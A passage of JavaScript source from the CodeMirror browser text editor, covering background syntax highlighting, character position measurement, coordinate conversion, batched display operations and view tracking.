      if (doc.frontier >= cm.display.viewFrom) { // Visible
        var oldStyles = line.styles, tooLong = line.text.length > cm.options.maxHighlightLength;
        var highlighted = highlightLine(cm, line, tooLong ? copyState(doc.mode, state) : state, true);
        line.styles = highlighted.styles;
        var oldCls = line.styleClasses, newCls = highlighted.classes;
        if (newCls) line.styleClasses = newCls;
        else if (oldCls) line.styleClasses = null;
        var ischange = !oldStyles || oldStyles.length != line.styles.length ||
          oldCls != newCls && (!oldCls || !newCls || oldCls.bgClass != newCls.bgClass || oldCls.textClass != newCls.textClass);
        for (var i = 0; !ischange && i < oldStyles.length; ++i) ischange = oldStyles[i] != line.styles[i];
        if (ischange) changedLines.push(doc.frontier);
        line.stateAfter = tooLong ? state : copyState(doc.mode, state);
      } else {
        if (line.text.length <= cm.options.maxHighlightLength)
          processLine(cm, line.text, state);
        line.stateAfter = doc.frontier % 5 == 0 ? copyState(doc.mode, state) : null;
      }
      ++doc.frontier;
      if (+new Date > end) {
        startWorker(cm, cm.options.workDelay);
        return true;
      }
    });
    if (changedLines.length) runInOp(cm, function() {
      for (var i = 0; i < changedLines.length; i++)
        regLineChange(cm, changedLines[i], "text");
    });
  }

  // Finds the line to start with when starting a parse. Tries to
  // find a line with a stateAfter, so that it can start with a
  // valid state. If that fails, it returns the line with the
  // smallest indentation, which tends to need the least context to
  // parse correctly.
  function findStartLine(cm, n, precise) {
    var minindent, minline, doc = cm.doc;
    var lim = precise ? -1 : n - (cm.doc.mode.innerMode ? 1000 : 100);
    for (var search = n; search > lim; --search) {
      if (search <= doc.first) return doc.first;
      var line = getLine(doc, search - 1);
      if (line.stateAfter && (!precise || search <= doc.frontier)) return search;
      var indented = countColumn(line.text, null, cm.options.tabSize);
      if (minline == null || minindent > indented) {
        minline = search - 1;
        minindent = indented;
      }
    }
    return minline;
  }

  function getStateBefore(cm, n, precise) {
    var doc = cm.doc, display = cm.display;
    if (!doc.mode.startState) return true;
    var pos = findStartLine(cm, n, precise), state = pos > doc.first && getLine(doc, pos-1).stateAfter;
    if (!state) state = startState(doc.mode);
    else state = copyState(doc.mode, state);
    doc.iter(pos, n, function(line) {
      processLine(cm, line.text, state);
      var save = pos == n - 1 || pos % 5 == 0 || pos >= display.viewFrom && pos < display.viewTo;
      line.stateAfter = save ? copyState(doc.mode, state) : null;
      ++pos;
    });
    if (precise) doc.frontier = pos;
    return state;
  }

  // POSITION MEASUREMENT

  function paddingTop(display) {return display.lineSpace.offsetTop;}
  function paddingVert(display) {return display.mover.offsetHeight - display.lineSpace.offsetHeight;}
  function paddingH(display) {
    if (display.cachedPaddingH) return display.cachedPaddingH;
    var e = removeChildrenAndAdd(display.measure, elt("pre", "x"));
    var style = window.getComputedStyle ? window.getComputedStyle(e) : e.currentStyle;
    var data = {left: parseInt(style.paddingLeft), right: parseInt(style.paddingRight)};
    if (!isNaN(data.left) && !isNaN(data.right)) display.cachedPaddingH = data;
    return data;
  }

  function scrollGap(cm) { return scrollerGap - cm.display.nativeBarWidth; }
  function displayWidth(cm) {
    return cm.display.scroller.clientWidth - scrollGap(cm) - cm.display.barWidth;
  }
  function displayHeight(cm) {
    return cm.display.scroller.clientHeight - scrollGap(cm) - cm.display.barHeight;
  }

  // Ensure the lineView.wrapping.heights array is populated. This is
  // an array of bottom offsets for the lines that make up a drawn
  // line. When lineWrapping is on, there might be more than one
  // height.
  function ensureLineHeights(cm, lineView, rect) {
    var wrapping = cm.options.lineWrapping;
    var curWidth = wrapping && displayWidth(cm);
    if (!lineView.measure.heights || wrapping && lineView.measure.width != curWidth) {
      var heights = lineView.measure.heights = [];
      if (wrapping) {
        lineView.measure.width = curWidth;
        var rects = lineView.text.firstChild.getClientRects();
        for (var i = 0; i < rects.length - 1; i++) {
          var cur = rects[i], next = rects[i + 1];
          if (Math.abs(cur.bottom - next.bottom) > 2)
            heights.push((cur.bottom + next.top) / 2 - rect.top);
        }
      }
      heights.push(rect.bottom - rect.top);
    }
  }

  // Find a line map (mapping character offsets to text nodes) and a
  // measurement cache for the given line number. (A line view might
  // contain multiple lines when collapsed ranges are present.)
  function mapFromLineView(lineView, line, lineN) {
    if (lineView.line == line)
      return {map: lineView.measure.map, cache: lineView.measure.cache};
    for (var i = 0; i < lineView.rest.length; i++)
      if (lineView.rest[i] == line)
        return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i]};
    for (var i = 0; i < lineView.rest.length; i++)
      if (lineNo(lineView.rest[i]) > lineN)
        return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i], before: true};
  }

  // Render a line into the hidden node display.externalMeasured. Used
  // when measurement is needed for a line that's not in the viewport.
  function updateExternalMeasurement(cm, line) {
    line = visualLine(line);
    var lineN = lineNo(line);
    var view = cm.display.externalMeasured = new LineView(cm.doc, line, lineN);
    view.lineN = lineN;
    var built = view.built = buildLineContent(cm, view);
    view.text = built.pre;
    removeChildrenAndAdd(cm.display.lineMeasure, built.pre);
    return view;
  }

  // Get a {top, bottom, left, right} box (in line-local coordinates)
  // for a given character.
  function measureChar(cm, line, ch, bias) {
    return measureCharPrepared(cm, prepareMeasureForLine(cm, line), ch, bias);
  }

  // Find a line view that corresponds to the given line number.
  function findViewForLine(cm, lineN) {
    if (lineN >= cm.display.viewFrom && lineN < cm.display.viewTo)
      return cm.display.view[findViewIndex(cm, lineN)];
    var ext = cm.display.externalMeasured;
    if (ext && lineN >= ext.lineN && lineN < ext.lineN + ext.size)
      return ext;
  }

  // Measurement can be split in two steps, the set-up work that
  // applies to the whole line, and the measurement of the actual
  // character. Functions like coordsChar, that need to do a lot of
  // measurements in a row, can thus ensure that the set-up work is
  // only done once.
  function prepareMeasureForLine(cm, line) {
    var lineN = lineNo(line);
    var view = findViewForLine(cm, lineN);
    if (view && !view.text) {
      view = null;
    } else if (view && view.changes) {
      updateLineForChanges(cm, view, lineN, getDimensions(cm));
      cm.curOp.forceUpdate = true;
    }
    if (!view)
      view = updateExternalMeasurement(cm, line);

    var info = mapFromLineView(view, line, lineN);
    return {
      line: line, view: view, rect: null,
      map: info.map, cache: info.cache, before: info.before,
      hasHeights: false
    };
  }

  // Given a prepared measurement object, measures the position of an
  // actual character (or fetches it from the cache).
  function measureCharPrepared(cm, prepared, ch, bias, varHeight) {
    if (prepared.before) ch = -1;
    var key = ch + (bias || ""), found;
    if (prepared.cache.hasOwnProperty(key)) {
      found = prepared.cache[key];
    } else {
      if (!prepared.rect)
        prepared.rect = prepared.view.text.getBoundingClientRect();
      if (!prepared.hasHeights) {
        ensureLineHeights(cm, prepared.view, prepared.rect);
        prepared.hasHeights = true;
      }
      found = measureCharInner(cm, prepared, ch, bias);
      if (!found.bogus) prepared.cache[key] = found;
    }
    return {left: found.left, right: found.right,
            top: varHeight ? found.rtop : found.top,
            bottom: varHeight ? found.rbottom : found.bottom};
  }

  var nullRect = {left: 0, right: 0, top: 0, bottom: 0};

  function nodeAndOffsetInLineMap(map, ch, bias) {
    var node, start, end, collapse;
    // First, search the line map for the text node corresponding to,
    // or closest to, the target character.
    for (var i = 0; i < map.length; i += 3) {
      var mStart = map[i], mEnd = map[i + 1];
      if (ch < mStart) {
        start = 0; end = 1;
        collapse = "left";
      } else if (ch < mEnd) {
        start = ch - mStart;
        end = start + 1;
      } else if (i == map.length - 3 || ch == mEnd && map[i + 3] > ch) {
        end = mEnd - mStart;
        start = end - 1;
        if (ch >= mEnd) collapse = "right";
      }
      if (start != null) {
        node = map[i + 2];
        if (mStart == mEnd && bias == (node.insertLeft ? "left" : "right"))
          collapse = bias;
        if (bias == "left" && start == 0)
          while (i && map[i - 2] == map[i - 3] && map[i - 1].insertLeft) {
            node = map[(i -= 3) + 2];
            collapse = "left";
          }
        if (bias == "right" && start == mEnd - mStart)
          while (i < map.length - 3 && map[i + 3] == map[i + 4] && !map[i + 5].insertLeft) {
            node = map[(i += 3) + 2];
            collapse = "right";
          }
        break;
      }
    }
    return {node: node, start: start, end: end, collapse: collapse, coverStart: mStart, coverEnd: mEnd};
  }

  function measureCharInner(cm, prepared, ch, bias) {
    var place = nodeAndOffsetInLineMap(prepared.map, ch, bias);
    var node = place.node, start = place.start, end = place.end, collapse = place.collapse;

    var rect;
    if (node.nodeType == 3) { // If it is a text node, use a range to retrieve the coordinates.
      for (var i = 0; i < 4; i++) { // Retry a maximum of 4 times when nonsense rectangles are returned
        while (start && isExtendingChar(prepared.line.text.charAt(place.coverStart + start))) --start;
        while (place.coverStart + end < place.coverEnd && isExtendingChar(prepared.line.text.charAt(place.coverStart + end))) ++end;
        if (ie && ie_version < 9 && start == 0 && end == place.coverEnd - place.coverStart) {
          rect = node.parentNode.getBoundingClientRect();
        } else if (ie && cm.options.lineWrapping) {
          var rects = range(node, start, end).getClientRects();
          if (rects.length)
            rect = rects[bias == "right" ? rects.length - 1 : 0];
          else
            rect = nullRect;
        } else {
          rect = range(node, start, end).getBoundingClientRect() || nullRect;
        }
        if (rect.left || rect.right || start == 0) break;
        end = start;
        start = start - 1;
        collapse = "right";
      }
      if (ie && ie_version < 11) rect = maybeUpdateRectForZooming(cm.display.measure, rect);
    } else { // If it is a widget, simply get the box for the whole widget.
      if (start > 0) collapse = bias = "right";
      var rects;
      if (cm.options.lineWrapping && (rects = node.getClientRects()).length > 1)
        rect = rects[bias == "right" ? rects.length - 1 : 0];
      else
        rect = node.getBoundingClientRect();
    }
    if (ie && ie_version < 9 && !start && (!rect || !rect.left && !rect.right)) {
      var rSpan = node.parentNode.getClientRects()[0];
      if (rSpan)
        rect = {left: rSpan.left, right: rSpan.left + charWidth(cm.display), top: rSpan.top, bottom: rSpan.bottom};
      else
        rect = nullRect;
    }

    var rtop = rect.top - prepared.rect.top, rbot = rect.bottom - prepared.rect.top;
    var mid = (rtop + rbot) / 2;
    var heights = prepared.view.measure.heights;
    for (var i = 0; i < heights.length - 1; i++)
      if (mid < heights[i]) break;
    var top = i ? heights[i - 1] : 0, bot = heights[i];
    var result = {left: (collapse == "right" ? rect.right : rect.left) - prepared.rect.left,
                  right: (collapse == "left" ? rect.left : rect.right) - prepared.rect.left,
                  top: top, bottom: bot};
    if (!rect.left && !rect.right) result.bogus = true;
    if (!cm.options.singleCursorHeightPerLine) { result.rtop = rtop; result.rbottom = rbot; }

    return result;
  }

  // Work around problem with bounding client rects on ranges being
  // returned incorrectly when zoomed on IE10 and below.
  function maybeUpdateRectForZooming(measure, rect) {
    if (!window.screen || screen.logicalXDPI == null ||
        screen.logicalXDPI == screen.deviceXDPI || !hasBadZoomedRects(measure))
      return rect;
    var scaleX = screen.logicalXDPI / screen.deviceXDPI;
    var scaleY = screen.logicalYDPI / screen.deviceYDPI;
    return {left: rect.left * scaleX, right: rect.right * scaleX,
            top: rect.top * scaleY, bottom: rect.bottom * scaleY};
  }

  function clearLineMeasurementCacheFor(lineView) {
    if (lineView.measure) {
      lineView.measure.cache = {};
      lineView.measure.heights = null;
      if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)
        lineView.measure.caches[i] = {};
    }
  }

  function clearLineMeasurementCache(cm) {
    cm.display.externalMeasure = null;
    removeChildren(cm.display.lineMeasure);
    for (var i = 0; i < cm.display.view.length; i++)
      clearLineMeasurementCacheFor(cm.display.view[i]);
  }

  function clearCaches(cm) {
    clearLineMeasurementCache(cm);
    cm.display.cachedCharWidth = cm.display.cachedTextHeight = cm.display.cachedPaddingH = null;
    if (!cm.options.lineWrapping) cm.display.maxLineChanged = true;
    cm.display.lineNumChars = null;
  }

  function pageScrollX() { return window.pageXOffset || (document.documentElement || document.body).scrollLeft; }
  function pageScrollY() { return window.pageYOffset || (document.documentElement || document.body).scrollTop; }

  // Converts a {top, bottom, left, right} box from line-local
  // coordinates into another coordinate system. Context may be one of
  // "line", "div" (display.lineDiv), "local"/null (editor), "window",
  // or "page".
  function intoCoordSystem(cm, lineObj, rect, context) {
    if (lineObj.widgets) for (var i = 0; i < lineObj.widgets.length; ++i) if (lineObj.widgets[i].above) {
      var size = widgetHeight(lineObj.widgets[i]);
      rect.top += size; rect.bottom += size;
    }
    if (context == "line") return rect;
    if (!context) context = "local";
    var yOff = heightAtLine(lineObj);
    if (context == "local") yOff += paddingTop(cm.display);
    else yOff -= cm.display.viewOffset;
    if (context == "page" || context == "window") {
      var lOff = cm.display.lineSpace.getBoundingClientRect();
      yOff += lOff.top + (context == "window" ? 0 : pageScrollY());
      var xOff = lOff.left + (context == "window" ? 0 : pageScrollX());
      rect.left += xOff; rect.right += xOff;
    }
    rect.top += yOff; rect.bottom += yOff;
    return rect;
  }

  // Coverts a box from "div" coords to another coordinate system.
  // Context may be "window", "page", "div", or "local"/null.
  function fromCoordSystem(cm, coords, context) {
    if (context == "div") return coords;
    var left = coords.left, top = coords.top;
    // First move into "page" coordinate system
    if (context == "page") {
      left -= pageScrollX();
      top -= pageScrollY();
    } else if (context == "local" || !context) {
      var localBox = cm.display.sizer.getBoundingClientRect();
      left += localBox.left;
      top += localBox.top;
    }

    var lineSpaceBox = cm.display.lineSpace.getBoundingClientRect();
    return {left: left - lineSpaceBox.left, top: top - lineSpaceBox.top};
  }

  function charCoords(cm, pos, context, lineObj, bias) {
    if (!lineObj) lineObj = getLine(cm.doc, pos.line);
    return intoCoordSystem(cm, lineObj, measureChar(cm, lineObj, pos.ch, bias), context);
  }

  // Returns a box for a given cursor position, which may have an
  // 'other' property containing the position of the secondary cursor
  // on a bidi boundary.
  function cursorCoords(cm, pos, context, lineObj, preparedMeasure, varHeight) {
    lineObj = lineObj || getLine(cm.doc, pos.line);
    if (!preparedMeasure) preparedMeasure = prepareMeasureForLine(cm, lineObj);
    function get(ch, right) {
      var m = measureCharPrepared(cm, preparedMeasure, ch, right ? "right" : "left", varHeight);
      if (right) m.left = m.right; else m.right = m.left;
      return intoCoordSystem(cm, lineObj, m, context);
    }
    function getBidi(ch, partPos) {
      var part = order[partPos], right = part.level % 2;
      if (ch == bidiLeft(part) && partPos && part.level < order[partPos - 1].level) {
        part = order[--partPos];
        ch = bidiRight(part) - (part.level % 2 ? 0 : 1);
        right = true;
      } else if (ch == bidiRight(part) && partPos < order.length - 1 && part.level < order[partPos + 1].level) {
        part = order[++partPos];
        ch = bidiLeft(part) - part.level % 2;
        right = false;
      }
      if (right && ch == part.to && ch > part.from) return get(ch - 1);
      return get(ch, right);
    }
    var order = getOrder(lineObj), ch = pos.ch;
    if (!order) return get(ch);
    var partPos = getBidiPartAt(order, ch);
    var val = getBidi(ch, partPos);
    if (bidiOther != null) val.other = getBidi(ch, bidiOther);
    return val;
  }

  // Used to cheaply estimate the coordinates for a position. Used for
  // intermediate scroll updates.
  function estimateCoords(cm, pos) {
    var left = 0, pos = clipPos(cm.doc, pos);
    if (!cm.options.lineWrapping) left = charWidth(cm.display) * pos.ch;
    var lineObj = getLine(cm.doc, pos.line);
    var top = heightAtLine(lineObj) + paddingTop(cm.display);
    return {left: left, right: left, top: top, bottom: top + lineObj.height};
  }

  // Positions returned by coordsChar contain some extra information.
  // xRel is the relative x position of the input coordinates compared
  // to the found position (so xRel > 0 means the coordinates are to
  // the right of the character position, for example). When outside
  // is true, that means the coordinates lie outside the line's
  // vertical range.
  function PosWithInfo(line, ch, outside, xRel) {
    var pos = Pos(line, ch);
    pos.xRel = xRel;
    if (outside) pos.outside = true;
    return pos;
  }

  // Compute the character position closest to the given coordinates.
  // Input must be lineSpace-local ("div" coordinate system).
  function coordsChar(cm, x, y) {
    var doc = cm.doc;
    y += cm.display.viewOffset;
    if (y < 0) return PosWithInfo(doc.first, 0, true, -1);
    var lineN = lineAtHeight(doc, y), last = doc.first + doc.size - 1;
    if (lineN > last)
      return PosWithInfo(doc.first + doc.size - 1, getLine(doc, last).text.length, true, 1);
    if (x < 0) x = 0;

    var lineObj = getLine(doc, lineN);
    for (;;) {
      var found = coordsCharInner(cm, lineObj, lineN, x, y);
      var merged = collapsedSpanAtEnd(lineObj);
      var mergedPos = merged && merged.find(0, true);
      if (merged && (found.ch > mergedPos.from.ch || found.ch == mergedPos.from.ch && found.xRel > 0))
        lineN = lineNo(lineObj = mergedPos.to.line);
      else
        return found;
    }
  }

  function coordsCharInner(cm, lineObj, lineNo, x, y) {
    var innerOff = y - heightAtLine(lineObj);
    var wrongLine = false, adjust = 2 * cm.display.wrapper.clientWidth;
    var preparedMeasure = prepareMeasureForLine(cm, lineObj);

    function getX(ch) {
      var sp = cursorCoords(cm, Pos(lineNo, ch), "line", lineObj, preparedMeasure);
      wrongLine = true;
      if (innerOff > sp.bottom) return sp.left - adjust;
      else if (innerOff < sp.top) return sp.left + adjust;
      else wrongLine = false;
      return sp.left;
    }

    var bidi = getOrder(lineObj), dist = lineObj.text.length;
    var from = lineLeft(lineObj), to = lineRight(lineObj);
    var fromX = getX(from), fromOutside = wrongLine, toX = getX(to), toOutside = wrongLine;

    if (x > toX) return PosWithInfo(lineNo, to, toOutside, 1);
    // Do a binary search between these bounds.
    for (;;) {
      if (bidi ? to == from || to == moveVisually(lineObj, from, 1) : to - from <= 1) {
        var ch = x < fromX || x - fromX <= toX - x ? from : to;
        var xDiff = x - (ch == from ? fromX : toX);
        while (isExtendingChar(lineObj.text.charAt(ch))) ++ch;
        var pos = PosWithInfo(lineNo, ch, ch == from ? fromOutside : toOutside,
                              xDiff < -1 ? -1 : xDiff > 1 ? 1 : 0);
        return pos;
      }
      var step = Math.ceil(dist / 2), middle = from + step;
      if (bidi) {
        middle = from;
        for (var i = 0; i < step; ++i) middle = moveVisually(lineObj, middle, 1);
      }
      var middleX = getX(middle);
      if (middleX > x) {to = middle; toX = middleX; if (toOutside = wrongLine) toX += 1000; dist = step;}
      else {from = middle; fromX = middleX; fromOutside = wrongLine; dist -= step;}
    }
  }

  var measureText;
  // Compute the default text height.
  function textHeight(display) {
    if (display.cachedTextHeight != null) return display.cachedTextHeight;
    if (measureText == null) {
      measureText = elt("pre");
      // Measure a bunch of lines, for browsers that compute
      // fractional heights.
      for (var i = 0; i < 49; ++i) {
        measureText.appendChild(document.createTextNode("x"));
        measureText.appendChild(elt("br"));
      }
      measureText.appendChild(document.createTextNode("x"));
    }
    removeChildrenAndAdd(display.measure, measureText);
    var height = measureText.offsetHeight / 50;
    if (height > 3) display.cachedTextHeight = height;
    removeChildren(display.measure);
    return height || 1;
  }

  // Compute the default character width.
  function charWidth(display) {
    if (display.cachedCharWidth != null) return display.cachedCharWidth;
    var anchor = elt("span", "xxxxxxxxxx");
    var pre = elt("pre", [anchor]);
    removeChildrenAndAdd(display.measure, pre);
    var rect = anchor.getBoundingClientRect(), width = (rect.right - rect.left) / 10;
    if (width > 2) display.cachedCharWidth = width;
    return width || 10;
  }

  // OPERATIONS

  // Operations are used to wrap a series of changes to the editor
  // state in such a way that each change won't have to update the
  // cursor and display (which would be awkward, slow, and
  // error-prone). Instead, display updates are batched and then all
  // combined and executed at once.

  var operationGroup = null;

  var nextOpId = 0;
  // Start a new operation.
  function startOperation(cm) {
    cm.curOp = {
      cm: cm,
      viewChanged: false,      // Flag that indicates that lines might need to be redrawn
      startHeight: cm.doc.height, // Used to detect need to update scrollbar
      forceUpdate: false,      // Used to force a redraw
      updateInput: null,       // Whether to reset the input textarea
      typing: false,           // Whether this reset should be careful to leave existing text (for compositing)
      changeObjs: null,        // Accumulated changes, for firing change events
      cursorActivityHandlers: null, // Set of handlers to fire cursorActivity on
      cursorActivityCalled: 0, // Tracks which cursorActivity handlers have been called already
      selectionChanged: false, // Whether the selection needs to be redrawn
      updateMaxLine: false,    // Set when the widest line needs to be determined anew
      scrollLeft: null, scrollTop: null, // Intermediate scroll position, not pushed to DOM yet
      scrollToPos: null,       // Used to scroll to a specific position
      focus: false,
      id: ++nextOpId           // Unique ID
    };
    if (operationGroup) {
      operationGroup.ops.push(cm.curOp);
    } else {
      cm.curOp.ownsGroup = operationGroup = {
        ops: [cm.curOp],
        delayedCallbacks: []
      };
    }
  }

  function fireCallbacksForOps(group) {
    // Calls delayed callbacks and cursorActivity handlers until no
    // new ones appear
    var callbacks = group.delayedCallbacks, i = 0;
    do {
      for (; i < callbacks.length; i++)
        callbacks[i].call(null);
      for (var j = 0; j < group.ops.length; j++) {
        var op = group.ops[j];
        if (op.cursorActivityHandlers)
          while (op.cursorActivityCalled < op.cursorActivityHandlers.length)
            op.cursorActivityHandlers[op.cursorActivityCalled++].call(null, op.cm);
      }
    } while (i < callbacks.length);
  }

  // Finish an operation, updating the display and signalling delayed events
  function endOperation(cm) {
    var op = cm.curOp, group = op.ownsGroup;
    if (!group) return;

    try { fireCallbacksForOps(group); }
    finally {
      operationGroup = null;
      for (var i = 0; i < group.ops.length; i++)
        group.ops[i].cm.curOp = null;
      endOperations(group);
    }
  }

  // The DOM updates done when an operation finishes are batched so
  // that the minimum number of relayouts are required.
  function endOperations(group) {
    var ops = group.ops;
    for (var i = 0; i < ops.length; i++) // Read DOM
      endOperation_R1(ops[i]);
    for (var i = 0; i < ops.length; i++) // Write DOM (maybe)
      endOperation_W1(ops[i]);
    for (var i = 0; i < ops.length; i++) // Read DOM
      endOperation_R2(ops[i]);
    for (var i = 0; i < ops.length; i++) // Write DOM (maybe)
      endOperation_W2(ops[i]);
    for (var i = 0; i < ops.length; i++) // Read DOM
      endOperation_finish(ops[i]);
  }

  function endOperation_R1(op) {
    var cm = op.cm, display = cm.display;
    maybeClipScrollbars(cm);
    if (op.updateMaxLine) findMaxLine(cm);

    op.mustUpdate = op.viewChanged || op.forceUpdate || op.scrollTop != null ||
      op.scrollToPos && (op.scrollToPos.from.line < display.viewFrom ||
                         op.scrollToPos.to.line >= display.viewTo) ||
      display.maxLineChanged && cm.options.lineWrapping;
    op.update = op.mustUpdate &&
      new DisplayUpdate(cm, op.mustUpdate && {top: op.scrollTop, ensure: op.scrollToPos}, op.forceUpdate);
  }

  function endOperation_W1(op) {
    op.updatedDisplay = op.mustUpdate && updateDisplayIfNeeded(op.cm, op.update);
  }

  function endOperation_R2(op) {
    var cm = op.cm, display = cm.display;
    if (op.updatedDisplay) updateHeightsInViewport(cm);

    op.barMeasure = measureForScrollbars(cm);

    // If the max line changed since it was last measured, measure it,
    // and ensure the document's width matches it.
    // updateDisplay_W2 will use these properties to do the actual resizing
    if (display.maxLineChanged && !cm.options.lineWrapping) {
      op.adjustWidthTo = measureChar(cm, display.maxLine, display.maxLine.text.length).left + 3;
      cm.display.sizerWidth = op.adjustWidthTo;
      op.barMeasure.scrollWidth =
        Math.max(display.scroller.clientWidth, display.sizer.offsetLeft + op.adjustWidthTo + scrollGap(cm) + cm.display.barWidth);
      op.maxScrollLeft = Math.max(0, display.sizer.offsetLeft + op.adjustWidthTo - displayWidth(cm));
    }

    if (op.updatedDisplay || op.selectionChanged)
      op.preparedSelection = display.input.prepareSelection();
  }

  function endOperation_W2(op) {
    var cm = op.cm;

    if (op.adjustWidthTo != null) {
      cm.display.sizer.style.minWidth = op.adjustWidthTo + "px";
      if (op.maxScrollLeft < cm.doc.scrollLeft)
        setScrollLeft(cm, Math.min(cm.display.scroller.scrollLeft, op.maxScrollLeft), true);
      cm.display.maxLineChanged = false;
    }

    if (op.preparedSelection)
      cm.display.input.showSelection(op.preparedSelection);
    if (op.updatedDisplay)
      setDocumentHeight(cm, op.barMeasure);
    if (op.updatedDisplay || op.startHeight != cm.doc.height)
      updateScrollbars(cm, op.barMeasure);

    if (op.selectionChanged) restartBlink(cm);

    if (cm.state.focused && op.updateInput)
      cm.display.input.reset(op.typing);
    if (op.focus && op.focus == activeElt() && (!document.hasFocus || document.hasFocus()))
      ensureFocus(op.cm);
  }

  function endOperation_finish(op) {
    var cm = op.cm, display = cm.display, doc = cm.doc;

    if (op.updatedDisplay) postUpdateDisplay(cm, op.update);

    // Abort mouse wheel delta measurement, when scrolling explicitly
    if (display.wheelStartX != null && (op.scrollTop != null || op.scrollLeft != null || op.scrollToPos))
      display.wheelStartX = display.wheelStartY = null;

    // Propagate the scroll position to the actual DOM scroller
    if (op.scrollTop != null && (display.scroller.scrollTop != op.scrollTop || op.forceScroll)) {
      doc.scrollTop = Math.max(0, Math.min(display.scroller.scrollHeight - display.scroller.clientHeight, op.scrollTop));
      display.scrollbars.setScrollTop(doc.scrollTop);
      display.scroller.scrollTop = doc.scrollTop;
    }
    if (op.scrollLeft != null && (display.scroller.scrollLeft != op.scrollLeft || op.forceScroll)) {
      doc.scrollLeft = Math.max(0, Math.min(display.scroller.scrollWidth - displayWidth(cm), op.scrollLeft));
      display.scrollbars.setScrollLeft(doc.scrollLeft);
      display.scroller.scrollLeft = doc.scrollLeft;
      alignHorizontally(cm);
    }
    // If we need to scroll a specific position into view, do so.
    if (op.scrollToPos) {
      var coords = scrollPosIntoView(cm, clipPos(doc, op.scrollToPos.from),
                                     clipPos(doc, op.scrollToPos.to), op.scrollToPos.margin);
      if (op.scrollToPos.isCursor && cm.state.focused) maybeScrollWindow(cm, coords);
    }

    // Fire events for markers that are hidden/unidden by editing or
    // undoing
    var hidden = op.maybeHiddenMarkers, unhidden = op.maybeUnhiddenMarkers;
    if (hidden) for (var i = 0; i < hidden.length; ++i)
      if (!hidden[i].lines.length) signal(hidden[i], "hide");
    if (unhidden) for (var i = 0; i < unhidden.length; ++i)
      if (unhidden[i].lines.length) signal(unhidden[i], "unhide");

    if (display.wrapper.offsetHeight)
      doc.scrollTop = cm.display.scroller.scrollTop;

    // Fire change events, and delayed event handlers
    if (op.changeObjs)
      signal(cm, "changes", cm, op.changeObjs);
    if (op.update)
      op.update.finish();
  }

  // Run the given function in an operation
  function runInOp(cm, f) {
    if (cm.curOp) return f();
    startOperation(cm);
    try { return f(); }
    finally { endOperation(cm); }
  }
  // Wraps a function in an operation. Returns the wrapped function.
  function operation(cm, f) {
    return function() {
      if (cm.curOp) return f.apply(cm, arguments);
      startOperation(cm);
      try { return f.apply(cm, arguments); }
      finally { endOperation(cm); }
    };
  }
  // Used to add methods to editor and doc instances, wrapping them in
  // operations.
  function methodOp(f) {
    return function() {
      if (this.curOp) return f.apply(this, arguments);
      startOperation(this);
      try { return f.apply(this, arguments); }
      finally { endOperation(this); }
    };
  }
  function docMethodOp(f) {
    return function() {
      var cm = this.cm;
      if (!cm || cm.curOp) return f.apply(this, arguments);
      startOperation(cm);
      try { return f.apply(this, arguments); }
      finally { endOperation(cm); }
    };
  }

  // VIEW TRACKING

  // These objects are used to represent the visible (currently drawn)
  // part of the document. A LineView may correspond to multiple
  // logical lines, if those are connected by collapsed ranges.
  function LineView(doc, line, lineN) {
    // The starting line
    this.line = line;
    // Continuing lines, if any
    this.rest = visualLineContinued(line);
    // Number of logical lines in this visual line
    this.size = this.rest ? lineNo(lst(this.rest)) - lineN + 1 : 1;
    this.node = this.text = null;
    this.hidden = lineIsHidden(doc, line);
  }

  // Create a range of LineView objects for the given lines.
  function buildViewArray(cm, from, to) {
    var array = [], nextPos;
    for (var pos = from; pos < to; pos = nextPos) {
      var view = new LineView(cm.doc, getLine(cm.doc, pos), pos);
      nextPos = pos + view.size;
      array.push(view);
    }
    return array;
  }

  // Updates the display.view data structure for a given change to the
  // document. From and to are in pre-change coordinates. Lendiff is
  // the amount of lines added or subtracted by the change. This is
  // used for changes that span multiple lines, or change the way
  // lines are divided into visual lines. regLineChange (below)
  // registers single-line changes.
  function regChange(cm, from, to, lendiff) {
    if (from == null) from = cm.doc.first;
    if (to == null) to = cm.doc.first + cm.doc.size;
    if (!lendiff) lendiff = 0;

    var display = cm.display;
    if (lendiff && to < display.viewTo &&
        (display.updateLineNumbers == null || display.updateLineNumbers > from))
      display.updateLineNumbers = from;

    cm.curOp.viewChanged = true;

    if (from >= display.viewTo) { // Change after
      if (sawCollapsedSpans && visualLineNo(cm.doc, from) < display.viewTo)
        resetView(cm);
    } else if (to <= display.viewFrom) { // Change before
      if (sawCollapsedSpans && visualLineEndNo(cm.doc, to + lendiff) > display.viewFrom) {
        resetView(cm);
      } else {
        display.viewFrom += lendiff;
        display.viewTo += lendiff;
      }
    } else if (from <= display.viewFrom && to >= display.viewTo) { // Full overlap
      resetView(cm);
    } else if (from <= display.viewFrom) { // Top overlap
      var cut = viewCuttingPoint(cm, to, to + lendiff, 1);
      if (cut) {
        display.view = display.view.slice(cut.index);
        display.viewFrom = cut.lineN;
        display.viewTo += lendiff;
      } else {
        resetView(cm);
      }
    } else if (to >= display.viewTo) { // Bottom overlap
      var cut = viewCuttingPoint(cm, from, from, -1);
      if (cut) {
        display.view = display.view.slice(0, cut.index);
        display.viewTo = cut.lineN;
      } else {
        resetView(cm);
      }
    } else { // Gap in the middle
      var cutTop = viewCuttingPoint(cm, from, from, -1);
      var cutBot = viewCuttingPoint(cm, to, to + lendiff, 1);
      if (cutTop && cutBot) {
        display.view = display.view.slice(0, cutTop.index)
          .concat(buildViewArray(cm, cutTop.lineN, cutBot.lineN))
          .concat(display.view.slice(cutBot.index));
        display.viewTo += lendiff;
      } else {
        resetView(cm);
      }
    }

    var ext = display.externalMeasured;
    if (ext) {
      if (to < ext.lineN)
        ext.lineN += lendiff;
      else if (from < ext.lineN + ext.size)
        display.externalMeasured = null;
    }
  }

  // Register a change to a single line. Type must be one of "text",
  // "gutter", "class", "widget"
  function regLineChange(cm, line, type) {
    cm.curOp.viewChanged = true;
    var display = cm.display, ext = cm.display.externalMeasured;
    if (ext && line >= ext.lineN && line < ext.lineN + ext.size)
      display.externalMeasured = null;

    if (line < display.viewFrom || line >= display.viewTo) return;
    var lineView = display.view[findViewIndex(cm, line)];
    if (lineView.node == null) return;
    var arr = lineView.changes || (lineView.changes = []);
    if (indexOf(arr, type) == -1) arr.push(type);
  }

  // Clear the view.
  function resetView(cm) {
    cm.display.viewFrom = cm.display.viewTo = cm.doc.first;
    cm.display.view = [];
    cm.display.viewOffset = 0;
  }

